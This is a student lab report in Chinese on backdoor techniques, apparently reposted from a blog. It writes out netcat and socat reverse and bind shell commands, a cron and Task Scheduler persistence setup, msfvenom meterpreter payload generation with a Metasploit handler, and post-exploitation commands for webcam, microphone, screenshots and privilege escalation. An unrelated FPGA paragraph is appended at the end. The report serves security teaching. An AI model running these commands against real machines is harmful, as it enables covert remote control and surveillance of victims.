20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践

20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践

1. 实验内容

1.1 使用netcat获取主机操作Shell,cron启动

首先安装netcat(又名nc、ncat),Linux系统自带nc,无需安装。Windows下需自行下载。官网如下:

http://nc110.sourceforge.net/

http://netcat.sourceforge.net/

官网下载速度不佳,亦可在老师的码云上下载。

1043510-20190324203500083-506540420.png

1.1.1 Windows获得Linux Shell

使用ipconfig命令,查看Windows的ip地址为172.30.4.204

1043510-20190324203511108-1359767125.png

使用ifconfig命令,查看Linux的ip地址为192.168.159.131

1043510-20190325205545611-910951653.png

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe -l -p 8086,表示监听主机的8086号端口,此处致敬8086架构40周年。

1043510-20190324203531466-1178738462.png

打开Linux终端,输入nc 172.30.4.204 8086 -e /bin/sh命令,表示连接到ip地址为172.30.4.204的主机的8086端口上,并把/bin/sh程序送给目的主机执行。

1043510-20190325205618482-1814674070.png

此时,Windows已经拿到了Linux的shell,并可以随意执行命令。

1043510-20190324203544182-1314658463.png

1.1.2 Linux获得Win Shell

打开Linux终端,输入nc -l -p 8086命令。

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe 192.168.159.131 8086 -e cmd.exe,表示连接到ip地址为192.168.159.131的主机的8086端口上,并把cmd.exe程序送给目的主机执行

1043510-20190324203629155-153989504.png

此时,Linux已经拿到了Windows的shell,并可以随意执行命令。

1043510-20190325205657022-694286274.png

1.1.3 使用Linux定时任务cron,让Windows定时获得Linux的shell

关于cron的学习可以参考这篇博客——Linux 定时任务crontab_014

我们执行crontab -e命令,编辑定时任务。按照提示选择2。

1043510-20190325205732252-2085615796.png

添加14 * * * * nc 172.30.4.204 8086 -e /bin/sh

ps:代表在每小时14分的时候执行nc 172.30.4.204 8086 -e /bin/sh命令。

1043510-20190325205821796-2135345997.png

执行crontab -l命令查看我们新添加的任务。

1043510-20190325205838727-189906254.png

Windows下开启监听,18:14到,这是Windows已经收到了Linux的Shell,执行date命令可以查看当前时间。

1043510-20190324203827842-666120624.png

1.2 使用socat获取主机操作Shell, 任务计划启动

同netcat,可以在老师的码云上获得安装包。

首先为Windows添加计划任务,在Windows管理工具中找到任务计划程序

1043510-20190324204040766-1043980255.png

点击新建任务按钮
1043510-20190324203846251-968711359.png

新建触发器,将开始任务设置为工作站锁定时
1043510-20190324203853401-928085213.png

新建操作,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5101 exec:cmd.exe,pty,stderr 表示把cmd.exe绑定到端口5101,同时把cmd.exe的stderr重定向到stdout上。

1043510-20190324203859981-1445464443.png

在常规选项卡中,输入名称(学号),点击确定完成任务创建。

1043510-20190324203907429-145355301.png

找到刚刚创建的20165101任务,右键点击运行,此时会弹出命令提示符表明成功运行。

1043510-20190324204100548-323985300.png

在Kali中输入socat - tcp:172.30.4.204:5101命令,可以成功得到一个cmd shell。

1043510-20190325210410047-2085285655.png

1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

msfvenom命令介绍
参数说明(options):

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

关于msfvenom的使用实例可以看这篇博文

首先我们应该将攻击机和靶机放置在同一个网段下,否则将无法建立连接。我们在Kali中输入leafpad /etc/network/interfaces命令。

在文件末尾添加以下内容即可:

auto eth0
iface eth0 inet static
address 172.30.4.205
netmask 255.255.248.0
gateway 172.30.7.254

PS:IP地址,子网掩码,网关要和靶机相匹配。

1043510-20190324204206748-1165706086.png

输入/etc/init.d/networking restart重启网络即可

这里我们首先执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.205 LPORT=5101 -f exe > 20165101_backdoor.exe命令生成一个后门文件。

1043510-20190325210448804-1740709129.png

我们用ncat将后门文件传送到靶机

Windows端输入ncat.exe -l -p 8086 > 20165101_backdoor.exe命令

在Kali中输入nc 172.30.4.204 8086 < 20165101_backdoor.exe命令

如此可以完成程序的传送

在Kali中输入msfconsole命令

依次输入以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.4.205 //此处应为Linux的IP
set LPORT 5101 //5101为端口号
show options
exploit //开启监听

1043510-20190324204522881-1750991945.png

Windows靶机打开后门文件

1043510-20190324204532080-359517027.png

现在Kali已经可以控制Windows了,输入shell命令即可获得Windows的Shell。

1043510-20190324204556958-1975429574.png

1043510-20190324204608398-99977086.png

1.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取靶机的屏幕截图:srceenshot

1043510-20190324204634811-312149090.png

使用靶机的摄像头拍照:webcam_snap

1043510-20190324204644855-249113283.png

使用摄像头录像:webcam_stream

1043510-20190324204931594-338650642.png

录音:record_mic

1043510-20190324204813518-497284682.png

提权:getsystem,未成功。

1043510-20190324204719656-1119347635.png

生成文件如下

1043510-20190324205211915-1012726703.png

1.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2. 基础问题回答

2.1 例举你能想到的一个后门进入到你系统中的可能方式?

1.利用浏览器漏洞,在访问挂马网站时,后门会自动下载并执行。

2.在使用外挂、破解工具时和软件进行捆绑。

2.2 例举你知道的后门如何启动起来(win及linux)的方式?

1.后门程序修改注册表,以达到开机自启动的目的。

2.与正常程序进行捆绑启动。

3.Windows可以修改任务计划程序。

4.Linux利用cron定时启动。

5.后门程序修改注册表,将文件关联程序修改为自己的程序,(如:双击.txt文件时,系统错误的调用后门程序)。

2.3 Meterpreter有哪些给你映像深刻的功能?

1.零件化的功能组件,后门程序可以自己定制。

2.可以打开靶机的摄像头、麦克风等设备。

3.可以获得靶机的Shell。

2.4 如何发现自己有系统有没有被安装后门?

1.监控主机的端口,有没有异常打开的端口。

2.安装杀毒软件、防火墙,监控自己的主机。

3. 实验总结与体会

本次实验通过实现一个简单的后门程序,让我感受到了后门程序极强的危害性。经过免杀处理,后门程序可以躲过大多数杀毒软件的查杀,如果一个人拥有一个公网IP,将后门程序安装到靶机,那么就可以进行远程控制靶机,而且这个过程可以很隐蔽,所以如何防范这类事情的发生也是值得思考的一件事情。我会利用自己的所学,防止这些事件在我自己和周围人身上发生。

转载于:https://www.cnblogs.com/lty12345678911/p/10590210.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
FPGA(Field-Programmable Gate Array)是一种可编程逻辑电路器件,具有灵活性高、可重构性强等特点。FPGA原理和结构关键在于可编程逻辑单元(PLC)和可配置内部互连网络(ICN)。 FPGA的原理是基于可编程逻辑单元(PLC)。PLC是由多个可编程的逻辑单元(CLB)组成,每个CLB包含了多个查找表(LUT)以及可编程的触发器和多路选择器等元件。LUT可以用来储存和计算逻辑函数,而可编程的触发器用于存储逻辑的状态信息,实现时序电路的功能。 FPGA的结构包括可编程逻辑单元(PLC)和可配置内部互连网络(ICN)。PLC是作为FPGA的核心部件,其中包含了大量的可编程逻辑资源,用于实现各种逻辑功能。ICN是FPGA内部的互连网络,将PLC中的各个逻辑单元连接起来,形成整个FPGA的内部互连结构。ICN通过交叉开关和可编程连接点来实现逻辑资源之间的互联。 FPGA的工作原理是在设计完成后,通过将逻辑功能转换成可编程的配置信息,将配置信息加载到FPGA中,从而实现不同的电路功能。通过更改配置信息,FPGA可以灵活地实现不同的模块、逻辑功能和时序要求等。而且,FPGA还可以进行在线编程,即在系统运行过程中可以修改其内部的逻辑电路,从而实现更多的功能扩展。 总的来说,FPGA原理和结构天野英晴的PDF文档详细介绍了FPGA的工作原理和内部结构,包括可编程逻辑单元(PLC)和可配置内部互连网络(ICN)。了解这些原理和结构可以帮助我们更好地理解FPGA的工作机制,应用于逻辑电路的设计和实现中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值